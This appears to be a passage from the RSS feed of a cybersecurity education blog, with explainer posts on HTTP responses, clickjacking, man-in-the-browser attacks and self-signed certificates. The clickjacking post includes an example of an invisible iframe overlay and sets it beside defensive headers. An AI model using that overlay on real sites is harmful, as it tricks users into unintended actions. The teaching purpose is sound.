<h3 id="heading-step-3-server-sends-a-response">Step 3: Server Sends a Response</h3>
<p>The server crafts an <strong>HTTP response</strong> and sends it back to the client.</p>
<h4 id="heading-whats-in-the-response">What’s in the response:</h4>
<ol>
<li><p><strong>Status Line</strong></p>
<ul>
<li><p>Indicates the outcome of the request.</p>
</li>
<li><p>Example:<br />  <code>HTTP/1.1 200 OK</code></p>
</li>
</ul>
</li>
<li><p><strong>Response Headers</strong></p>
<ul>
<li><p>Information about the response or instructions for the client.</p>
<ul>
<li><p><code>Content-Type</code>: Format of the response body (e.g., <code>application/json</code>, <code>text/html</code>)</p>
</li>
<li><p><code>Set-Cookie</code>: Tells the browser to store or update a cookie</p>
</li>
<li><p><code>Cache-Control</code>, <code>Content-Length</code>, <code>Server</code>, <code>CORS</code> headers, etc.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Response Body</strong></p>
<ul>
<li><p>The actual content: could be HTML, JSON, an image, or anything else.</p>
</li>
<li><p>Example (JSON):</p>
<pre><code class="lang-json">  {
    <span class="hljs-attr">"message"</span>: <span class="hljs-string">"Login successful"</span>,
    <span class="hljs-attr">"user"</span>: {
      <span class="hljs-attr">"id"</span>: <span class="hljs-number">123</span>,
      <span class="hljs-attr">"role"</span>: <span class="hljs-string">"admin"</span>
    }
  }
</code></pre>
</li>
</ul>
</li>
</ol>
<hr />
<h3 id="heading-summary-of-the-flow">Summary of the Flow</h3>
<ol>
<li><p><strong>Client sends request</strong>:</p>
<ul>
<li>Includes method, URL, headers, cookies, and optionally body data.</li>
</ul>
</li>
<li><p><strong>Server processes request</strong>:</p>
<ul>
<li>Validates input, applies logic, fetches/stores data.</li>
</ul>
</li>
<li><p><strong>Server responds</strong>:</p>
<ul>
<li>Sends back a status, headers, and content.</li>
</ul>
</li>
<li><p><strong>Client receives response</strong>:</p>
<ul>
<li>The browser renders it or processes the data (e.g., shows a success message or displays a page).</li>
</ul>
</li>
</ol>
<p><strong>And remember:</strong><br />If your date doesn't respond, it's not ghosting — it's just a 408 Request Timeout. 💔</p>
]]></content:encoded></item><item><title><![CDATA[Clickjacking: The Button You Didn’t Mean to Click]]></title><description><![CDATA[Analogy

Imagine you're trying to press the "Submit" button on a scholarship form, but someone placed a transparent glass over it — and on their side of the glass, they drew a fake "Claim Prize" button. You think you're clicking your form, but you're...]]></description><link>https://cyberexplorer.info/clickjacking-the-button-you-didnt-mean-to-click</link><guid isPermaLink="true">https://cyberexplorer.info/clickjacking-the-button-you-didnt-mean-to-click</guid><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Sundaram G]]></dc:creator><pubDate>Thu, 22 May 2025 09:14:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/OwR9cyMNe4c/upload/108fb3c2f803f4b7d7bb197ffb4f0ca1.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-analogy">Analogy</h2>
<blockquote>
<p>Imagine you're trying to press the "Submit" button on a scholarship form, but someone placed a transparent glass over it — and on <em>their</em> side of the glass, they drew a fake "Claim Prize" button. You think you're clicking your form, but you're really giving them access to your bank account.<br />That’s <strong>clickjacking</strong> — tricking you into clicking something <strong>you can’t see</strong>.</p>
</blockquote>
<hr />
<h2 id="heading-what-is-clickjacking">What is Clickjacking?</h2>
<p>Clickjacking (a.k.a. <strong>UI Redressing</strong>) is a type of attack where a malicious site <strong>hides or overlays elements</strong> from a legitimate site inside invisible frames or layers.</p>
<p>It tricks users into <strong>unknowingly clicking</strong> on buttons, links, or UI elements — usually to perform sensitive actions like:</p>
<ul>
<li><p><strong>Liking a social media page</strong></p>
</li>
<li><p><strong>Changing account settings</strong></p>
</li>
<li><p><strong>Making a financial transaction</strong></p>
</li>
<li><p><strong>Giving camera/microphone permissions</strong></p>
</li>
</ul>
<p>The key: <strong>The user thinks they’re clicking on one thing, but the click is hijacked and used elsewhere.</strong></p>
<hr />
<h2 id="heading-how-clickjacking-works-step-by-step">How Clickjacking Works (Step-by-Step)</h2>
<h3 id="heading-1-attacker-builds-a-malicious-page">1. Attacker Builds a Malicious Page</h3>
<p>They create a website that <strong>looks innocent</strong> — a quiz, a free gift, a video, etc.</p>
<hr />
<h3 id="heading-2-they-embed-the-target-website-via-iframe">2. They Embed the Target Website (via iframe)</h3>
<p>The attacker uses HTML to embed the <strong>legitimate website</strong> inside an <code>&lt;iframe&gt;</code>, like this:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://targetsite.com/profile-settings"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"opacity: 0; position: absolute; z-index: 999;"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span>
</code></pre>
<p>They set it to:</p>
<ul>
<li><p><code>opacity: 0</code> → completely invisible</p>
</li>
<li><p><code>position: absolute</code> → place it exactly over a visible button</p>
</li>
<li><p><code>z-index: high</code> → ensure it stays above everything</p>
</li>
</ul>
<hr />
<h3 id="heading-3-they-trick-you-into-clicking">3. They Trick You into Clicking</h3>
<p>The user sees a <strong>visible “Click Me” button</strong> or fun game on screen. But behind it (in the invisible iframe) is a button from another site — like “Delete Account” or “Make Payment.”</p>
<p>When the user clicks what they <em>see</em>, they’re actually clicking what they <em>don’t see</em> — the attacker’s intended target.</p>
<hr />
<h3 id="heading-4-action-is-performed-without-user-realizing">4. Action Is Performed — Without User Realizing</h3>
<p>The target website processes the click as valid:</p>
<ul>
<li><p>You liked someone’s page</p>
</li>
<li><p>You changed your settings</p>
</li>
<li><p>You sent money</p>
</li>
</ul>
<p>All without your informed consent.</p>
<hr />
<h2 id="heading-variants-of-clickjacking">Variants of Clickjacking</h2>
<ul>
<li><p><strong>Likejacking</strong>: Tricks user into “liking” something on social media</p>
</li>
<li><p><strong>Cursorjacking</strong>: Moves the visible cursor away from the actual click point</p>
</li>
<li><p><strong>File upload jacking</strong>: Tricks users into uploading sensitive files</p>
</li>
<li><p><strong>Permission jacking</strong>: Hides prompts like “Allow camera” or “Enable mic” behind fake UI</p>
</li>
</ul>
<hr />
<h2 id="heading-how-to-defend-against-clickjacking">How to Defend Against Clickjacking</h2>
<h3 id="heading-for-developers-site-owners">For Developers / Site Owners:</h3>
<ul>
<li><p><strong>Use</strong> <code>X-Frame-Options</code> header</p>
<pre><code class="lang-xml">  X-Frame-Options: DENY
</code></pre>
<p>  Prevents your site from being embedded in an iframe.</p>
</li>
<li><p><strong>Use Content Security Policy (CSP):</strong></p>
<pre><code class="lang-xml">  Content-Security-Policy: frame-ancestors 'none';
</code></pre>
<p>  Gives stricter control over which origins can embed your content.</p>
</li>
<li><p><strong>Framebusting Scripts</strong> <em>(less preferred now)</em>:<br />  JavaScript to detect if the site is loaded in an iframe and then break out of it.</p>
</li>
</ul>
<hr />
<h3 id="heading-for-users">For Users:</h3>
<ul>
<li><p><strong>Use modern browsers</strong> that respect clickjacking protections.</p>
</li>
<li><p><strong>Disable JavaScript or iframes</strong> on suspicious sites (via plugins like NoScript).</p>
</li>
<li><p><strong>Avoid interacting with shady quizzes, popups, giveaways.</strong></p>
</li>
<li><p><strong>Use browser extensions</strong> that alert you if iframes or redressing behavior is detected.</p>
</li>
</ul>
<hr />
<h2 id="heading-tldr">TL;DR</h2>
<ul>
<li><p>Clickjacking tricks you into <strong>clicking something invisible.</strong></p>
</li>
<li><p>It often uses <strong>iframes</strong>, <strong>opacity</strong>, and <strong>CSS positioning.</strong></p>
</li>
<li><p>The attack is <strong>silent</strong>, effective, and hard to spot visually.</p>
</li>
<li><p><strong>Web developers must implement headers</strong> to prevent their sites from being abused.</p>
</li>
</ul>
<p>I thought I was clicking “Submit.” Turns out I just donated my kidney and liked someone's crypto scam page : )</p>
]]></content:encoded></item><item><title><![CDATA[Man-in-the-Browser (MitB) Attack Explained]]></title><description><![CDATA[Analogy

Imagine handing a perfectly filled bank transfer form to a bank employee. But just before submitting it, someone invisible in the system quietly changes the recipient and amount. You still get a printed receipt showing what you entered — but...]]></description><link>https://cyberexplorer.info/man-in-the-browser-mitb-attack-explained</link><guid isPermaLink="true">https://cyberexplorer.info/man-in-the-browser-mitb-attack-explained</guid><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Sundaram G]]></dc:creator><pubDate>Thu, 22 May 2025 08:53:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/s5kTY-Ve1c0/upload/1e487db4f80b8ea9c24e6a9e3a79984a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h2 id="heading-analogy">Analogy</h2>
<blockquote>
<p>Imagine handing a perfectly filled bank transfer form to a bank employee. But just before submitting it, someone <em>invisible</em> in the system quietly changes the recipient and amount. You still get a printed receipt showing what <strong>you</strong> entered — but your money's already gone to someone else.<br />That’s what a <strong>Man-in-the-Browser (MitB)</strong> attack feels like — a silent thief inside your browser.</p>
</blockquote>
<hr />
<h2 id="heading-what-is-a-man-in-the-browser-attack">What is a Man-in-the-Browser Attack?</h2>
<p>MitB is an advanced form of a <strong>Man-in-the-Middle (MitM)</strong> attack, but instead of hijacking data between your browser and the internet, the attacker hijacks it <strong>from inside your browser</strong>.</p>
<p>They do this using malware (usually a <strong>Trojan</strong>) that infects your system and secretly alters what your browser sends and receives.</p>
<hr />
<h2 id="heading-how-the-attack-works-step-by-step">How the Attack Works — Step by Step</h2>
<p><strong>1. Trojan Infection</strong></p>
<p>The attacker infects your system with a <strong>Trojan</strong> using:</p>
<ul>
<li><p>Malicious downloads</p>
</li>
<li><p>Phishing emails</p>
</li>
<li><p>Fake software installers</p>
</li>
</ul>
<p><strong>2. Browser Injection</strong></p>
<p>The Trojan installs <strong>malicious scripts or browser extensions</strong> that hook into your browser.</p>
<p><strong>3. Browser Restarts, Code Activates</strong></p>
<p>Once the browser restarts, the malicious code goes live.</p>
<p><strong>4. Targeted Websites Are Watched</strong></p>
<p>The malware watches for visits to <strong>specific sites</strong> — e.g., online banking or payment gateways.</p>
<p><strong>5. User Logs In Normally</strong></p>
<p>You log in to your bank with the correct credentials over HTTPS. Everything looks normal.</p>
<h2 id="heading-what-happens-behind-the-scenes">What Happens Behind the Scenes?</h2>
<h4 id="heading-step-1-registering-a-button-handler">Step 1: Registering a Button Handler</h4>
<p>The malware hooks into the browser and <strong>waits for actions</strong> — like form submissions or clicks.</p>
<h4 id="heading-step-2-intercepting-amp-modifying-data">Step 2: Intercepting &amp; Modifying Data</h4>
<p>When you submit a transaction:</p>
<ul>
<li><p>The malware <strong>reads the form data</strong> using the DOM.</p>
</li>
<li><p>It <strong>modifies the values</strong> silently (e.g., changes ₹100 to ₹10,000 and changes the account).</p>
</li>
</ul>
<h4 id="heading-step-3-sending-modified-data">Step 3: Sending Modified Data</h4>
<p>The <strong>altered data</strong> is sent to the server, which has <strong>no idea</strong> it’s been tampered with.</p>
<h4 id="heading-step-4-altering-the-receipt">Step 4: Altering the Receipt</h4>
<p>The server responds with confirmation (for the attacker's version of the transaction), but...</p>
<ul>
<li>The malware <strong>modifies the receipt back</strong> to look like <em>your original request</em>.</li>
</ul>
<h4 id="heading-step-5-user-is-fooled">Step 5: User is Fooled</h4>
<p>You see a receipt for ₹100 to “Person A,” but the bank has actually processed ₹10,000 to “Attacker’s Account.”</p>
<h2 id="heading-why-this-is-dangerous">Why This Is Dangerous</h2>
<ul>
<li><p><strong>Invisible to Users</strong><br />  Users see what they expect — everything looks legit</p>
</li>
<li><p><strong>Bypasses Encryption &amp; 2FA</strong><br />  Because the attack happens <strong>after login</strong>, inside your trusted browser</p>
</li>
<li><p><strong>Hard to Detect on the Server Side</strong><br />  The request comes from a legitimate session</p>
</li>
</ul>
<h2 id="heading-how-to-defend-against-mitb-attacks">How to Defend Against MitB Attacks</h2>
<ul>
<li><p><strong>Use Endpoint Protection</strong><br />  Anti-malware tools can catch Trojans before they infect the browser.</p>
</li>
<li><p><strong>Keep Browsers Updated</strong><br />  Many MitB attacks exploit outdated browser vulnerabilities.</p>
</li>
<li><p><strong>Disable Unnecessary Extensions</strong><br />  Avoid shady plugins or extensions with high permissions.</p>
</li>
<li><p><strong>Use Out-of-Band Transaction Verification</strong><br />  Banks should confirm actions via SMS, email, or a separate device.</p>
</li>
<li><p><strong>Server-Side Anomaly Detection</strong><br />  Monitor for suspicious behavior like changes in beneficiary or amount.</p>
</li>
<li><p><strong>Security Awareness for Users</strong><br />  Teach users how to identify phishing emails and fake software.</p>
</li>
</ul>
<h2 id="heading-tldr">TL;DR</h2>
<ol>
<li><p>Trojan infects the browser</p>
</li>
<li><p>Malicious code watches for sensitive actions</p>
</li>
<li><p>Data is modified silently during transactions</p>
</li>
<li><p>Fake confirmation screens trick the user</p>
</li>
<li><p>The attacker successfully steals money or data</p>
</li>
</ol>
<p><strong>Stay tuned — next in the ‘Exploits Explained’ series: Clickjacking.</strong></p>
]]></content:encoded></item><item><title><![CDATA[Self-Signed Certificates Explained: What They Are and When to Use Them]]></title><description><![CDATA[A self-signed SSL certificate is a digital certificate that you sign yourself, rather than obtaining it from a trusted Certificate Authority (CA). While not valid for production use, it’s incredibly useful for local development and testing purposes.
...]]></description><link>https://cyberexplorer.info/self-signed-certificates-explained-what-they-are-and-when-to-use-them</link><guid isPermaLink="true">https://cyberexplorer.info/self-signed-certificates-explained-what-they-are-and-when-to-use-them</guid><category><![CDATA[Certificates]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[self signed certificates]]></category><dc:creator><![CDATA[Sundaram G]]></dc:creator><pubDate>Wed, 21 May 2025 12:41:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Oe8Q-mzNUT4/upload/05531d0b06e3af505ce708d624e69081.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A <strong>self-signed SSL certificate</strong> is a digital certificate that you sign yourself, rather than obtaining it from a trusted Certificate Authority (CA). While not valid for production use, it’s incredibly useful for local development and testing purposes.</p>
<h2 id="heading-example-scenario-local-testing-of-a-login-page">Example Scenario: Local Testing of a Login Page</h2>
<p>You are a <strong>cybersecurity student</strong> working on a lab project where you've set up a <strong>simple login page</strong> on your local machine — something like <a target="_blank" href="http://localhost/login.html"><code>http://localhost/login.html</code></a>.</p>
<p>Now, you want to:</p>
<ul>
<li><p>Simulate <strong>secure user login</strong> (so usernames and passwords are not sent in plain text)</p>
</li>
<li><p>Test how HTTPS behaves</p>
</li>
<li><p>Practice intercepting traffic using tools like <strong>Burp Suite</strong> or <strong>Wireshark</strong></p>
</li>
</ul>
<p>But here's the problem:</p>
<ul>
<li><p>Your browser or tools may block or limit features if you're using <strong>plain HTTP</strong></p>
</li>
<li><p>Some security features (like secure cookies or testing SSL/TLS behavior) <strong>only work with HTTPS</strong></p>
</li>
</ul>
<hr />
<h3 id="heading-what-you-do-instead"><strong>What You Do Instead</strong></h3>
<p>You generate a <strong>self-signed SSL certificate</strong>, set up HTTPS, and access your site at:<br /><a target="_blank" href="https://localhost/login.html"><code>https://localhost/login.html</code></a></p>
<p>Now, everything behaves like a real-world secure website:</p>
<ul>
<li><p>Data (like login credentials) is <strong>encrypted</strong></p>
</li>
<li><p>You can observe how SSL works locally</p>
</li>
<li><p>Tools like Burp Suite can capture and analyze encrypted traffic</p>
</li>
<li><p>You simulate a realistic attack-defense environment</p>
</li>
</ul>
<h2 id="heading-why-use-a-self-signed-certificate-locally">Why Use a Self-Signed Certificate Locally?</h2>
<h3 id="heading-1-encrypt-local-traffic">1. Encrypt Local Traffic</h3>
<p>Simulate a secure environment, even when working on <code>localhost</code>. This ensures that data passed between your browser and server is encrypted.</p>
<h3 id="heading-2-test-https-only-features">2. Test HTTPS-Only Features</h3>
<p>Modern web features and APIs demand HTTPS — even for local development. A self-signed cert unlocks this functionality.</p>
<h3 id="heading-3-cost-free-amp-easy">3. Cost-Free &amp; Easy</h3>
<p>No need to purchase or renew certificates. Self-signed certs are free and fast to create.</p>
<h3 id="heading-4-bypass-https-warnings-for-local-dev">4. Bypass HTTPS Warnings for Local Dev</h3>
<p>Yes, browsers will complain — but for local use, you can manually <strong>trust</strong> your cert and continue testing securely.</p>
<h2 id="heading-how-to-use-a-self-signed-certificate-quick-steps">How to Use a Self-Signed Certificate (Quick Steps)</h2>
<h3 id="heading-step-1-generate-the-certificate-using-openssl"><strong>Step 1: Generate the Certificate Using OpenSSL</strong></h3>
<p>Open your terminal and run:</p>
<pre><code class="lang-bash">openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365
</code></pre>
<p>Now you have:</p>
<ul>
<li><p><code>key.pem</code> → your private key</p>
</li>
<li><p><code>cert.pem</code> → your self-signed certificate</p>
</li>
</ul>
<hr />
<h3 id="heading-step-2-configure-your-local-server"><strong>Step 2: Configure Your Local Server</strong></h3>
<p>You need to tell your web server to use the self-signed certificate:</p>
<h4 id="heading-for-nodejs-it-will-be-like">🔸 For Node.js it will be like:</h4>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> https = <span class="hljs-built_in">require</span>(<span class="hljs-string">'https'</span>);
<span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);

<span class="hljs-keyword">const</span> options = {
  <span class="hljs-attr">key</span>: fs.readFileSync(<span class="hljs-string">'key.pem'</span>),
  <span class="hljs-attr">cert</span>: fs.readFileSync(<span class="hljs-string">'cert.pem'</span>)
};

https.createServer(options, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  res.writeHead(<span class="hljs-number">200</span>);
  res.end(<span class="hljs-string">'Hello from HTTPS!'</span>);
}).listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Server running at https://localhost:3000/'</span>);
});
</code></pre>
<p>You can also configure <strong>Apache</strong>, <strong>Nginx</strong>, or <strong>XAMPP</strong> similarly. NOTE: the keys are stored in the directory from where you ran the command.</p>
<hr />
<h3 id="heading-step-3-access-your-site-locally-with-https"><strong>Step 3: Access Your Site Locally with HTTPS</strong></h3>
<p>Open your browser and go to:</p>
<pre><code class="lang-basic">https://localhost:<span class="hljs-number">3000</span>
</code></pre>
<p>You’ll see a <strong>browser warning</strong> ("Connection not secure" or "Untrusted certificate").</p>
<p>Click:</p>
<ul>
<li><p><strong>Advanced → Proceed anyway</strong> (in Chrome)</p>
</li>
<li><p><strong>Accept the Risk and Continue</strong> (in Firefox)</p>
</li>
</ul>
<p>Now your local site is using <strong>HTTPS with encryption</strong>.</p>
<h2 id="heading-limitations">Limitations</h2>
<ul>
<li><p><strong>Not Trusted by Browsers</strong>: You’ll see "Your connection is not private" warnings.</p>
</li>
<li><p><strong>Not for Production</strong>: Never use self-signed certs for public websites. They lack chain of trust.</p>
</li>
<li><p><strong>Manual Trust Needed</strong>: Users (you) must manually approve them each time or install them into the trusted certificate store (in browser settings).</p>
</li>
</ul>
]]></content:encoded></item></channel></rss>